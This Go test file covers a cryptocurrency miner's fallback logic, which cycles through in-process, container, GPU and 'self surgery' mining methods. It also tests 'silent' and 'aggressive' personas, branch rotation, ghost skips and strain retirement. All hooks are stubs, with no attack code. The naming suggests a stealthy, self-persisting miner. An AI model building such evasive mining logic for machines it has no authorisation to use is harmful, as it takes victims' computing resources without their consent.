package miner import ( "context" "sync/atomic" "testing" "time" ) func TestDefaultContingencyBranchOrder(t *testing.T) { want := []ContingencyBranch{BranchInProcess, BranchContainer, BranchGPUSubprocess, BranchIdleTune, BranchSelfSurgery} if len(DefaultContingencyBranchOrder) != len(want) { t.Fatalf("order=%v", DefaultContingencyBranchOrder) } for i := range want { if DefaultContingencyBranchOrder[i] != want[i] { t.Fatalf("idx %d = %q want %q", i, DefaultContingencyBranchOrder[i], want[i]) } } } func TestMutateBranchOrderForPersona(t *testing.T) { base := append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) agg := MutateBranchOrderForPersona(base, "aggressive", false) if agg[0] != BranchGPUSubprocess && agg[0] != BranchInProcess { t.Fatalf("aggressive should front gpu/inprocess, got %v", agg) } silent := MutateBranchOrderForPersona(base, "silent", false) if silent[0] != BranchContainer { t.Fatalf("silent should front container, got %v", silent) } rotated := MutateBranchOrderForPersona(base, "balanced", true) if len(rotated) != len(base) { t.Fatalf("rotate length=%d", len(rotated)) } } func TestContingencyTreeWinsOnInProcess(t *testing.T) { var hr atomic.Value hr.Store(1200.0) var hops []OnionMinerHop gate := NewPoolGate() r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ StartInProcess: func() error { return nil }, StartContainer: func() error { return ErrMethodUnavailable }, StartGPU: func() error { return ErrMethodUnavailable }, ApplyIdleTune: func() error { return nil }, ApplySurgery: func([]string, string) error { return nil }, StopAll: func() {}, Hashrate: func() float64 { v, _ := hr.Load().(float64); return v }, PoolActive: gate.Active, AcquirePool: func() bool { return gate.Acquire("canonical") }, ReleasePool: func() { gate.Release("canonical") }, }, func(h OnionMinerHop, depth int, exhausted bool) { hops = append(hops, h) }) ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() go r.Run(ctx) time.Sleep(200 * time.Millisecond) cancel() method, ok := r.Frozen() if !ok || method != BranchInProcess { t.Fatalf("frozen=%q ok=%v hops=%d", method, ok, len(hops)) } won := false for _, h := range hops { if h.Outcome == "won" && h.Method == string(BranchInProcess) { won = true } } if !won { t.Fatalf("expected won hop, got %v", hops) } } func TestGhostSkipsWhenPoolHeld(t *testing.T) { gate := NewPoolGate() gate.Acquire("canonical") var ghostSkipped int r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1, Personas: []string{"silent"}}, BranchAttemptHooks{ StartInProcess: func() error { return nil }, StartContainer: func() error { return nil }, Hashrate: func() float64 { return 0 }, PoolActive: gate.Active, AcquirePool: func() bool { return gate.Acquire("canonical") }, ReleasePool: func() { gate.Release("canonical") }, }, func(h OnionMinerHop, _ int, _ bool) { if h.Outcome == "ghost_skipped" { ghostSkipped++ } }) _ = r.tryBranch(context.Background(), BranchContainer, "silent", "silent", true) if ghostSkipped != 1 { t.Fatalf("ghost_skipped=%d", ghostSkipped) } } func TestHospiceRetiresAfterExhaustCycles(t *testing.T) { var retired bool policy := ContingencyPolicy{Enabled: true, JitterMs: 1, HospiceAfter: 2} r := NewContingencyTreeRunner(policy, BranchAttemptHooks{ StartInProcess: func() error { return ErrMethodUnavailable }, StartContainer: func() error { return ErrMethodUnavailable }, StartGPU: func() error { return ErrMethodUnavailable }, ApplyIdleTune: func() error { return ErrMethodUnavailable }, ApplySurgery: func([]string, string) error { return ErrMethodUnavailable }, StopAll: func() {}, Hashrate: func() float64 { return 0 }, AcquirePool: func() bool { return true }, ReleasePool: func() {}, }, func(h OnionMinerHop, _ int, exhausted bool) { if h.Outcome == "strain_retired" { retired = true } }) ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) defer cancel() go r.Run(ctx) time.Sleep(2500 * time.Millisecond) cancel() if !retired { t.Fatal("expected hospice strain_retired hop") } } func TestApplyBranchParamsResetsExhaustion(t *testing.T) { r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true}, BranchAttemptHooks{}, nil) r.exhaustCycles = 5 r.ApplyBranchParams(ContingencyBranchParams{ BranchOrder: []string{"container", "inprocess"}, Persona: "aggressive", SkipMethods: []string{"gpu_subprocess"}, }) if r.exhaustCycles != 0 { t.Fatalf("exhaust=%d", r.exhaustCycles) } if len(r.branchOrder) != 2 || r.branchOrder[0] != BranchContainer { t.Fatalf("order=%v", r.branchOrder) } if !r.skipMethods["gpu_subprocess"] { t.Fatal("expected skip gpu_subprocess") } } func TestOperatorPauseStopsRun(t *testing.T) { r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ Hashrate: func() float64 { return 0 }, AcquirePool: func() bool { return true }, ReleasePool: func() {}, }, nil) r.SetOperatorPaused(true) ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond) defer cancel() r.Run(ctx) if r.Depth() != 0 { t.Fatalf("depth=%d want 0 on pause", r.Depth()) } } func TestBranchWonThreshold(t *testing.T) { if !BranchWon(1.0) { t.Fatal("1 H/s should win") } if BranchWon(0) { t.Fatal("0 should not win") } } func TestContingencyRunPassSkipsMethod(t *testing.T) { r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ StartInProcess: func() error { return nil }, StartContainer: func() error { return ErrMethodUnavailable }, Hashrate: func() float64 { return 100 }, AcquirePool: func() bool { return true }, ReleasePool: func() {}, }, nil) r.ApplyBranchParams(ContingencyBranchParams{ BranchOrder: []string{"container", "inprocess"}, SkipMethods: []string{"container"}, }) ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond) defer cancel() if !r.runPass(ctx) { t.Fatal("expected inprocess win after container skipped") } }